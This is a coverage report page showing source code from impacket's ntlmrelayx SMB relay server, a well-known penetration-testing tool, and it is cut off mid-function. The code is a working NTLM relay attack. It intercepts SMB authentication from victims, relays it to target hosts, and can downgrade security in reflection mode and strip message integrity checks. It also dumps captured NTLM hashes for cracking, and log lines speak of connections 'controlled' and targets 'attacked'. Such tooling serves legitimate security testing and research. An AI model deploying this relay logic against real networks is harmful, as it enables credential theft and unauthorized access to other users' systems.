Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/servers/smbrelayserver.py: 7%

# Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/servers/smbrelayserver.py : 7%

## 462 statements

Hot-keys on this page

r m x p toggle line displays

j k next/prev highlighted chunk

0 (zero) top of page

1 (one) first highlighted chunk

1# Impacket - Collection of Python classes for working with network protocols.

2#

3# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.

4#

5# This software is provided under a slightly modified version

6# of the Apache Software License. See the accompanying LICENSE file

7# for more information.

8#

9# Description:

10# SMB Relay Server

11#

12# This is the SMB server which relays the connections

13# to other protocols

14#

15# Authors:

16# Alberto Solino (@agsolino)

17# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)

18#

19 from __future__ import division

20 from __future__ import print_function

21 from threading import Thread

22 try:

23 import ConfigParser

24 except ImportError:

25 import configparser as ConfigParser

26 import struct

27 import logging

28 import time

29 import calendar

30 import random

31 import string

32 import socket

33 import ntpath

34

35 from binascii import hexlify, unhexlify

36 from six import b

37 from impacket import smb, ntlm, LOG, smb3

38 from impacket.nt_errors import STATUS_MORE_PROCESSING_REQUIRED, STATUS_ACCESS_DENIED, STATUS_SUCCESS, STATUS_NETWORK_SESSION_EXPIRED

39 from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech

40 from impacket.smbserver import SMBSERVER, outputToJohnFormat, writeJohnOutputToFile

41 from impacket.spnego import ASN1_AID, MechTypes, ASN1_SUPPORTED_MECH

42 from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections

43 from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor

44 from impacket.smbserver import getFileTime, decodeSMBString, encodeSMBString

45

46 class SMBRelayServer(Thread):

47 def __init__(self,config):

48 Thread.__init__(self)

49 self.daemon = True

50 self.server = 0

51 #Config object

52 self.config = config

53 #Current target IP

54 self.target = None

55 #Targets handler

56 self.targetprocessor = self.config.target

57 #Username we auth as gets stored here later

58 self.authUser = None

59 self.proxyTranslator = None

60

61 # Here we write a mini config for the server

62 smbConfig = ConfigParser.ConfigParser()

63 smbConfig.add_section('global')

64 smbConfig.set('global','server_name','server_name')

65 smbConfig.set('global','server_os','UNIX')

66 smbConfig.set('global','server_domain','WORKGROUP')

67 smbConfig.set('global','log_file','smb.log')

68 smbConfig.set('global','credentials_file','')

69

70 if self.config.smb2support is True:

71 smbConfig.set("global", "SMB2Support", "True")

72 else:

73 smbConfig.set("global", "SMB2Support", "False")

74

75 smbConfig.set("global", "anonymous_logon", "False")

76

77 if self.config.outputFile is not None:

78 smbConfig.set('global','jtr_dump_path',self.config.outputFile)

79

80 if self.config.SMBServerChallenge is not None:

81 smbConfig.set('global', 'challenge', self.config.SMBServerChallenge)

82

83 # IPC always needed

84 smbConfig.add_section('IPC$')

85 smbConfig.set('IPC$','comment','')

86 smbConfig.set('IPC$','read only','yes')

87 smbConfig.set('IPC$','share type','3')

88 smbConfig.set('IPC$','path','')

89

90 # Change address_family to IPv6 if this is configured

91 if self.config.ipv6:

92 SMBSERVER.address_family = socket.AF_INET6

93

94 # changed to dereference configuration interfaceIp

95 if self.config.listeningPort:

96 smbport = self.config.listeningPort

97 else:

98 smbport = 445

99

100 self.server = SMBSERVER((config.interfaceIp,smbport), config_parser = smbConfig)

101 logging.getLogger('impacket.smbserver').setLevel(logging.CRITICAL)

102

103 self.server.processConfigFile()

104

105 self.origSmbComNegotiate = self.server.hookSmbCommand(smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate)

106 self.origSmbSessionSetupAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX, self.SmbSessionSetupAndX)

107 self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX)

108

109 self.origSmbNegotiate = self.server.hookSmb2Command(smb3.SMB2_NEGOTIATE, self.SmbNegotiate)

110 self.origSmbSessionSetup = self.server.hookSmb2Command(smb3.SMB2_SESSION_SETUP, self.SmbSessionSetup)

111 self.origsmb2TreeConnect = self.server.hookSmb2Command(smb3.SMB2_TREE_CONNECT, self.smb2TreeConnect)

112 # Let's use the SMBServer Connection dictionary to keep track of our client connections as well

113 #TODO: See if this is the best way to accomplish this

114

115 # changed to dereference configuration interfaceIp

116 self.server.addConnection('SMBRelay', config.interfaceIp, 445)

117

118 ### SMBv2 Part #################################################################

119 def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):

120 connData = smbServer.getConnectionData(connId, checkStatus=False)

121

122 respPacket = smb3.SMB2Packet()

123 respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR

124 respPacket['Status'] = STATUS_SUCCESS

125 respPacket['CreditRequestResponse'] = 1

126 respPacket['Command'] = smb3.SMB2_NEGOTIATE

127 respPacket['SessionID'] = 0

128

129 if isSMB1 is False:

130 respPacket['MessageID'] = recvPacket['MessageID']

131 else:

132 respPacket['MessageID'] = 0

133

134 respPacket['TreeID'] = 0

135

136 respSMBCommand = smb3.SMB2Negotiate_Response()

137

138 # Just for the Nego Packet, then disable it

139 respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED

140

141 if isSMB1 is True:

142 # Let's first parse the packet to see if the client supports SMB2

143 SMBCommand = smb.SMBCommand(recvPacket['Data'][0])

144

145 dialects = SMBCommand['Data'].split(b'\x02')

146 if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects:

147 respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002

148 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21

149 else:

150 # Client does not support SMB2 fallbacking

151 raise Exception('Client does not support SMB2, fallbacking')

152 else:

153 respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002

154 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21

155

156 respSMBCommand['ServerGuid'] = b(''.join([random.choice(string.ascii_letters) for _ in range(16)]))

157 respSMBCommand['Capabilities'] = 0

158 respSMBCommand['MaxTransactSize'] = 65536

159 respSMBCommand['MaxReadSize'] = 65536

160 respSMBCommand['MaxWriteSize'] = 65536

161 respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime()))

162 respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime()))

163 respSMBCommand['SecurityBufferOffset'] = 0x80

164

165 blob = SPNEGO_NegTokenInit()

166 blob['MechTypes'] = [TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism'],

167 TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]

168

169

170 respSMBCommand['Buffer'] = blob.getData()

171 respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])

172

173 respPacket['Data'] = respSMBCommand

174

175 smbServer.setConnectionData(connId, connData)

176

177 return None, [respPacket], STATUS_SUCCESS

178

179

180 def SmbSessionSetup(self, connId, smbServer, recvPacket):

181 connData = smbServer.getConnectionData(connId, checkStatus = False)

182

183 #############################################################

184 # SMBRelay

185 # Are we ready to relay or should we just do local auth?

186 if 'relayToHost' not in connData:

187 # Just call the original SessionSetup

188 respCommands, respPackets, errorCode = self.origSmbSessionSetup(connId, smbServer, recvPacket)

189 # We remove the Guest flag

190 if 'SessionFlags' in respCommands[0].fields:

191 respCommands[0]['SessionFlags'] = 0x00

192 return respCommands, respPackets, errorCode

193

194 # We have confirmed we want to relay to the target host.

195 respSMBCommand = smb3.SMB2SessionSetup_Response()

196 sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data'])

197

198 connData['Capabilities'] = sessionSetupData['Capabilities']

199

200 securityBlob = sessionSetupData['Buffer']

201

202 rawNTLM = False

203 if struct.unpack('B',securityBlob[0:1])[0] == ASN1_AID:

204 # NEGOTIATE packet

205 blob = SPNEGO_NegTokenInit(securityBlob)

206 token = blob['MechToken']

207 if len(blob['MechTypes'][0]) > 0:

208 # Is this GSSAPI NTLM or something else we don't support?

209 mechType = blob['MechTypes'][0]

210 if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \

211 mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']:

212 # Nope, do we know it?

213 if mechType in MechTypes:

214 mechStr = MechTypes[mechType]

215 else:

216 mechStr = hexlify(mechType)

217 smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL)

218 # We don't know the token, we answer back again saying

219 # we just support NTLM.

220 respToken = SPNEGO_NegTokenResp()

221 respToken['NegState'] = b'\x03' # request-mic

222 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']

223 respToken = respToken.getData()

224 respSMBCommand['SecurityBufferOffset'] = 0x48

225 respSMBCommand['SecurityBufferLength'] = len(respToken)

226 respSMBCommand['Buffer'] = respToken

227

228 return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED

229 elif struct.unpack('B',securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:

230 # AUTH packet

231 blob = SPNEGO_NegTokenResp(securityBlob)

232 token = blob['ResponseToken']

233 else:

234 # No GSSAPI stuff, raw NTLMSSP

235 rawNTLM = True

236 token = securityBlob

237

238 # Here we only handle NTLMSSP, depending on what stage of the

239 # authentication we are, we act on it

240 messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

241

242 if messageType == 0x01:

243 # NEGOTIATE_MESSAGE

244 negotiateMessage = ntlm.NTLMAuthNegotiate()

245 negotiateMessage.fromString(token)

246 # Let's store it in the connection data

247 connData['NEGOTIATE_MESSAGE'] = negotiateMessage

248

249 #############################################################

250 # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.

251 # Let's send it to the target server and send the answer back to the client.

252 client = connData['SMBClient']

253 try:

254 challengeMessage = self.do_ntlm_negotiate(client, token)

255 except Exception as e:

256 LOG.debug("Exception:", exc_info=True)

257 # Log this target as processed for this client

258 self.targetprocessor.logTarget(self.target)

259 # Raise exception again to pass it on to the SMB server

260 raise

261

262 #############################################################

263

264 if rawNTLM is False:

265 respToken = SPNEGO_NegTokenResp()

266 # accept-incomplete. We want more data

267 respToken['NegState'] = b'\x01'

268 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']

269

270 respToken['ResponseToken'] = challengeMessage.getData()

271 else:

272 respToken = challengeMessage

273

274 # Setting the packet to STATUS_MORE_PROCESSING

275 errorCode = STATUS_MORE_PROCESSING_REQUIRED

276 # Let's set up an UID for this connection and store it

277 # in the connection's data

278 connData['Uid'] = random.randint(1,0xffffffff)

279

280 connData['CHALLENGE_MESSAGE'] = challengeMessage

281

282 elif messageType == 0x02:

283 # CHALLENGE_MESSAGE

284 raise Exception('Challenge Message raise, not implemented!')

285

286 elif messageType == 0x03:

287 # AUTHENTICATE_MESSAGE, here we deal with authentication

288 #############################################################

289 # SMBRelay: Ok, so now the have the Auth token, let's send it

290 # back to the target system and hope for the best.

291 client = connData['SMBClient']

292 authenticateMessage = ntlm.NTLMAuthChallengeResponse()

293 authenticateMessage.fromString(token)

294 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),

295 authenticateMessage['user_name'].decode('utf-16le'))).upper()

296

297 if rawNTLM is True:

298 respToken2 = SPNEGO_NegTokenResp()

299 respToken2['ResponseToken'] = securityBlob

300 securityBlob = respToken2.getData()

301

302 if self.config.remove_mic:

303 clientResponse, errorCode = self.do_ntlm_auth(client, token,

304 connData['CHALLENGE_MESSAGE']['challenge'])

305 else:

306 clientResponse, errorCode = self.do_ntlm_auth(client, securityBlob,

307 connData['CHALLENGE_MESSAGE']['challenge'])

308

309 if errorCode != STATUS_SUCCESS:

310 #Log this target as processed for this client

311 self.targetprocessor.logTarget(self.target)

312 LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser))

313 client.killConnection()

314 else:

315 # We have a session, create a thread and do whatever we want

316 LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser))

317 # Log this target as processed for this client

318 self.targetprocessor.logTarget(self.target, True, self.authUser)

319

320 ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],

321 authenticateMessage['user_name'],

322 authenticateMessage['domain_name'], authenticateMessage['lanman'],

323 authenticateMessage['ntlm'])

324 client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

325

326 if self.server.getJTRdumpPath() != '':

327 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],

328 self.server.getJTRdumpPath())

329

330 connData['Authenticated'] = True

331 del(connData['relayToHost'])

332

333 self.do_attack(client)

334 # Now continue with the server

335 #############################################################

336

337 if rawNTLM is False:

338 respToken = SPNEGO_NegTokenResp()

339 # accept-completed

340 respToken['NegState'] = b'\x00'

341 else:

342 respToken = ''

343 # Let's store it in the connection data

344 connData['AUTHENTICATE_MESSAGE'] = authenticateMessage

345 else:

346 raise Exception("Unknown NTLMSSP MessageType %d" % messageType)

347

348 respSMBCommand['SecurityBufferOffset'] = 0x48

349 respSMBCommand['SecurityBufferLength'] = len(respToken)

350 if respSMBCommand['SecurityBufferLength'] > 0:

351 respSMBCommand['Buffer'] = respToken.getData()

352 else:

353 respSMBCommand['Buffer'] = ''

354

355 smbServer.setConnectionData(connId, connData)

356

357 return [respSMBCommand], None, errorCode

358

359 def smb2TreeConnect(self, connId, smbServer, recvPacket):

360 connData = smbServer.getConnectionData(connId)

361

362 authenticateMessage = connData['AUTHENTICATE_MESSAGE']

363

364 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'),

365 authenticateMessage['user_name'].decode ('utf-16le'))).upper ()

366

367 # Uncommenting this will stop at the first connection relayed and won't relaying until all targets

368 # are processed. There might be a use case for this

369 #if 'relayToHost' in connData:

370 # # Connection already relayed, let's just answer the request (that will return object not found)

371 # return self.origsmb2TreeConnect(connId, smbServer, recvPacket)

372

373 try:

374 if self.config.mode.upper () == 'REFLECTION':

375 self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP'])

376

377 self.target = self.targetprocessor.getTarget(identity = self.authUser)

378 if self.target is None:

379 # No more targets to process, just let the victim to fail later

380 LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' %

381 (connId, self.authUser, connData['ClientIP']))

382 return self.origsmb2TreeConnect (connId, smbServer, recvPacket)

383

384 LOG.info('SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % (connId, self.authUser,

385 connData['ClientIP'], self.target.scheme, self.target.netloc))

386

387 if self.config.mode.upper() == 'REFLECTION':

388 # Force standard security when doing reflection

389 LOG.debug("Downgrading to standard security")

390 extSec = False

391 #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)

392 else:

393 extSec = True

394 # Init the correct client for our target

395 client = self.init_client(extSec)

396 except Exception as e:

397 LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))

398 self.targetprocessor.logTarget(self.target)

399 else:

400 connData['relayToHost'] = True

401 connData['Authenticated'] = False

402 del (connData['NEGOTIATE_MESSAGE'])

403 del (connData['CHALLENGE_MESSAGE'])

404 del (connData['AUTHENTICATE_MESSAGE'])

405 connData['SMBClient'] = client

406 connData['EncryptionKey'] = client.getStandardSecurityChallenge()

407 smbServer.setConnectionData(connId, connData)

408

409 respPacket = smb3.SMB2Packet()

410 respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR

411 respPacket['Status'] = STATUS_SUCCESS

412 respPacket['CreditRequestResponse'] = 1

413 respPacket['Command'] = recvPacket['Command']

414 respPacket['SessionID'] = connData['Uid']

415 respPacket['Reserved'] = recvPacket['Reserved']

416 respPacket['MessageID'] = recvPacket['MessageID']

417 respPacket['TreeID'] = recvPacket['TreeID']

418

419 respSMBCommand = smb3.SMB2TreeConnect_Response()

420

421 # This is the key, force the client to reconnect.

422 # It will loop until all targets are processed for this user

423 errorCode = STATUS_NETWORK_SESSION_EXPIRED

424

425

426 respPacket['Status'] = errorCode

427 respSMBCommand['Capabilities'] = 0

428 respSMBCommand['MaximalAccess'] = 0x000f01ff

429

430 respPacket['Data'] = respSMBCommand

431

432 # Sign the packet if needed

433 if connData['SignatureEnabled']:

434 smbServer.signSMBv2(respPacket, connData['SigningSessionKey'])

435

436 smbServer.setConnectionData(connId, connData)

437

438 return None, [respPacket], errorCode

439

440 ################################################################################

441

442 ### SMBv1 Part #################################################################

443 def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):

444 connData = smbServer.getConnectionData(connId, checkStatus = False)

445 if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0:

446 if self.config.mode.upper() == 'REFLECTION':

447 # Force standard security when doing reflection

448 LOG.debug("Downgrading to standard security")

449 recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)

450

451 return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)

452 #############################################################

453

454 def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):

455

456 connData = smbServer.getConnectionData(connId, checkStatus = False)

457

458 #############################################################

459 # SMBRelay

460 # Are we ready to relay or should we just do local auth?

461 if 'relayToHost' not in connData:

462 # Just call the original SessionSetup

463 return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket)

464

465 # We have confirmed we want to relay to the target host.

466 respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)

467

468 if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:

469 # Extended security. Here we deal with all SPNEGO stuff

470 respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters()

471 respData = smb.SMBSessionSetupAndX_Extended_Response_Data()

472 sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters'])

473 sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()

474 sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']

475 sessionSetupData.fromString(SMBCommand['Data'])

476 connData['Capabilities'] = sessionSetupParameters['Capabilities']

477

478 rawNTLM = False

479 if struct.unpack('B',sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID:

480 # If there no GSSAPI ID, it must be an AUTH packet

481 blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])

482 token = blob['ResponseToken']

483 else:

484 # NEGOTIATE packet

485 blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])

486 token = blob['MechToken']

487

488 # Here we only handle NTLMSSP, depending on what stage of the

489 # authentication we are, we act on it

490 messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

491

492 if messageType == 0x01:

493 # NEGOTIATE_MESSAGE

494 negotiateMessage = ntlm.NTLMAuthNegotiate()

495 negotiateMessage.fromString(token)

496 # Let's store it in the connection data

497 connData['NEGOTIATE_MESSAGE'] = negotiateMessage

498

499 #############################################################

500 # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.

501 # Let's send it to the target server and send the answer back to the client.

502 client = connData['SMBClient']

503 try:

504 challengeMessage = self.do_ntlm_negotiate(client,token)

505 except Exception:

506 # Log this target as processed for this client

507 self.targetprocessor.logTarget(self.target)

508 # Raise exception again to pass it on to the SMB server

509 raise

510

511 #############################################################

512

513 respToken = SPNEGO_NegTokenResp()

514 # accept-incomplete. We want more data

515 respToken['NegState'] = b'\x01'

516 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']

517 respToken['ResponseToken'] = challengeMessage.getData()

518

519 # Setting the packet to STATUS_MORE_PROCESSING

520 errorCode = STATUS_MORE_PROCESSING_REQUIRED

521

522 # Let's set up an UID for this connection and store it

523 # in the connection's data

524 # Picking a fixed value

525 # TODO: Manage more UIDs for the same session

526 connData['Uid'] = 10

527

528 connData['CHALLENGE_MESSAGE'] = challengeMessage

529

530 elif messageType == 0x03:

531 # AUTHENTICATE_MESSAGE, here we deal with authentication

532 #############################################################

533 # SMBRelay: Ok, so now the have the Auth token, let's send it

534 # back to the target system and hope for the best.

535 client = connData['SMBClient']

536 authenticateMessage = ntlm.NTLMAuthChallengeResponse()

537 authenticateMessage.fromString(token)

538 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),

539 authenticateMessage['user_name'].decode('utf-16le'))).upper()

540

541 clientResponse, errorCode = self.do_ntlm_auth(client,sessionSetupData['SecurityBlob'],

542 connData['CHALLENGE_MESSAGE']['challenge'])

543

544 if errorCode != STATUS_SUCCESS:

545 # Let's return what the target returned, hope the client connects back again

546 packet = smb.NewSMBPacket()

547 packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS

548 packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY

549 packet['Command'] = recvPacket['Command']

550 packet['Pid'] = recvPacket['Pid']

551 packet['Tid'] = recvPacket['Tid']

552 packet['Mid'] = recvPacket['Mid']

553 packet['Uid'] = recvPacket['Uid']

554 packet['Data'] = b'\x00\x00\x00'

555 packet['ErrorCode'] = errorCode >> 16

556 packet['ErrorClass'] = errorCode & 0xff

557

558 LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser))

559

560 #Log this target as processed for this client

561 self.targetprocessor.logTarget(self.target)

562

563 client.killConnection()

564

565 return None, [packet], errorCode

566 else:

567 # We have a session, create a thread and do whatever we want

568 LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser))

569

570 # Log this target as processed for this client

571 self.targetprocessor.logTarget(self.target, True, self.authUser)

572

573 ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],

574 authenticateMessage['user_name'],

575 authenticateMessage['domain_name'],

576 authenticateMessage['lanman'], authenticateMessage['ntlm'])

577 client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

578

579 if self.server.getJTRdumpPath() != '':

580 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],

581 self.server.getJTRdumpPath())

582

583 self.do_attack(client)

584 # Now continue with the server

585 #############################################################

586

587 respToken = SPNEGO_NegTokenResp()

588 # accept-completed

589 respToken['NegState'] = b'\x00'

590

591 # Done with the relay for now.

592 connData['Authenticated'] = True

593 del(connData['relayToHost'])

594

595 # Status SUCCESS

596 errorCode = STATUS_SUCCESS

597 # Let's store it in the connection data

598 connData['AUTHENTICATE_MESSAGE'] = authenticateMessage

599 else:

600 raise Exception("Unknown NTLMSSP MessageType %d" % messageType)

601

602 respParameters['SecurityBlobLength'] = len(respToken)

603

604 respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']

605 respData['SecurityBlob'] = respToken.getData()

606

607 else:

608 # Process Standard Security

609 #TODO: Fix this for other protocols than SMB [!]

610 respParameters = smb.SMBSessionSetupAndXResponse_Parameters()

611 respData = smb.SMBSessionSetupAndXResponse_Data()

612 sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters'])

613 sessionSetupData = smb.SMBSessionSetupAndX_Data()

614 sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']

615 sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']

616 sessionSetupData.fromString(SMBCommand['Data'])

617

618 client = connData['SMBClient']

619 _, errorCode = client.sendStandardSecurityAuth(sessionSetupData)

620

621 if errorCode != STATUS_SUCCESS:

622 # Let's return what the target returned, hope the client connects back again

623 packet = smb.NewSMBPacket()

624 packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS

625 packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY

626 packet['Command'] = recvPacket['Command']

627 packet['Pid'] = recvPacket['Pid']

628 packet['Tid'] = recvPacket['Tid']

629 packet['Mid'] = recvPacket['Mid']

630 packet['Uid'] = recvPacket['Uid']

631 packet['Data'] = b'\x00\x00\x00'

632 packet['ErrorCode'] = errorCode >> 16

633 packet['ErrorClass'] = errorCode & 0xff

634

635 #Log this target as processed for this client

636 self.targetprocessor.logTarget(self.target)

637

638 # Finish client's connection

639 #client.killConnection()

640

641 return None, [packet], errorCode

642 else:

643 # We have a session, create a thread and do whatever we want

644 self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper()

645 LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser))

646

647 # Log this target as processed for this client

648 self.targetprocessor.logTarget(self.target, True, self.authUser)

649

650 ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'],

651 sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'])

652 client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

653

654 if self.server.getJTRdumpPath() != '':

655 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],

656 self.server.getJTRdumpPath())

657

658 # Done with the relay for now.

659 connData['Authenticated'] = True

660 del(connData['relayToHost'])

661 self.do_attack(client)

662 # Now continue with the server

663 #############################################################

664

665 respData['NativeOS'] = smbServer.getServerOS()

666 respData['NativeLanMan'] = smbServer.getServerOS()

667 respSMBCommand['Parameters'] = respParameters

668 respSMBCommand['Data'] = respData

669

670

671 smbServer.setConnectionData(connId, connData)

672

673 return [respSMBCommand], None, errorCode

674

675 def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket):

676 connData = smbServer.getConnectionData(connId)

677

678 authenticateMessage = connData['AUTHENTICATE_MESSAGE']

679 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'),

680 authenticateMessage['user_name'].decode ('utf-16le'))).upper ()

681

682 # Uncommenting this will stop at the first connection relayed and won't relaying until all targets

683 # are processed. There might be a use case for this

684 #if 'relayToHost' in connData:

685 # # Connection already relayed, let's just answer the request (that will return object not found)

686 # return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket)

687

688 try:

689 if self.config.mode.upper () == 'REFLECTION':

690 self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP'])

691

692 self.target = self.targetprocessor.getTarget(identity = self.authUser)

693 if self.target is None:

694 # No more targets to process, just let the victim to fail later

695 LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' %

696 (connId, self.authUser, connData['ClientIP']))

697 return self.origsmbComTreeConnectAndX (connId, smbServer, recvPacket)

698

699 LOG.info('SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % ( connId, self.authUser,

700 connData['ClientIP'], self.target.scheme, self.target.netloc))

701

702 if self.config.mode.upper() == 'REFLECTION':

703 # Force standard security when doing reflection

704 LOG.debug("Downgrading to standard security")

705 extSec = False

706 recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)

707 else:

708 extSec = True

709 # Init the correct client for our target

710 client = self.init_client(extSec)

711 except Exception as e:

712 LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))

713 self.targetprocessor.logTarget(self.target)

714 else:

715 connData['relayToHost'] = True

716 connData['Authenticated'] = False

717 del (connData['NEGOTIATE_MESSAGE'])

718 del (connData['CHALLENGE_MESSAGE'])

719 del (connData['AUTHENTICATE_MESSAGE'])

720 connData['SMBClient'] = client

721 connData['EncryptionKey'] = client.getStandardSecurityChallenge()

722 smbServer.setConnectionData(connId, connData)

723

724 resp = smb.NewSMBPacket()

725 resp['Flags1'] = smb.SMB.FLAGS1_REPLY

726 resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \

727 recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE

728

729 resp['Tid'] = recvPacket['Tid']

730 resp['Mid'] = recvPacket['Mid']

731 resp['Pid'] = connData['Pid']

732

733 respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)

734 respParameters = smb.SMBTreeConnectAndXResponse_Parameters()

735 respData = smb.SMBTreeConnectAndXResponse_Data()

736

737 treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters'])

738

739 if treeConnectAndXParameters['Flags'] & 0x8:

740 respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters()

741

742 treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] )

743 treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength']

744 treeConnectAndXData.fromString(SMBCommand['Data'])

745

746 ## Process here the request, does the share exist?

747 UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path'])

748

749 # Is this a UNC?

750 if ntpath.ismount(UNCOrShare):

751 path = UNCOrShare.split('\\')[3]

752 else:

753 path = ntpath.basename(UNCOrShare)

754

755 # This is the key, force the client to reconnect.

756 # It will loop until all targets are processed for this user

757 errorCode = STATUS_NETWORK_SESSION_EXPIRED

758 resp['ErrorCode'] = errorCode >> 16

759 resp['_reserved'] = 0o3

760 resp['ErrorClass'] = errorCode & 0xff

761

762 if path == 'IPC$':

763 respData['Service'] = 'IPC'

764 else:

765 respData['Service'] = path

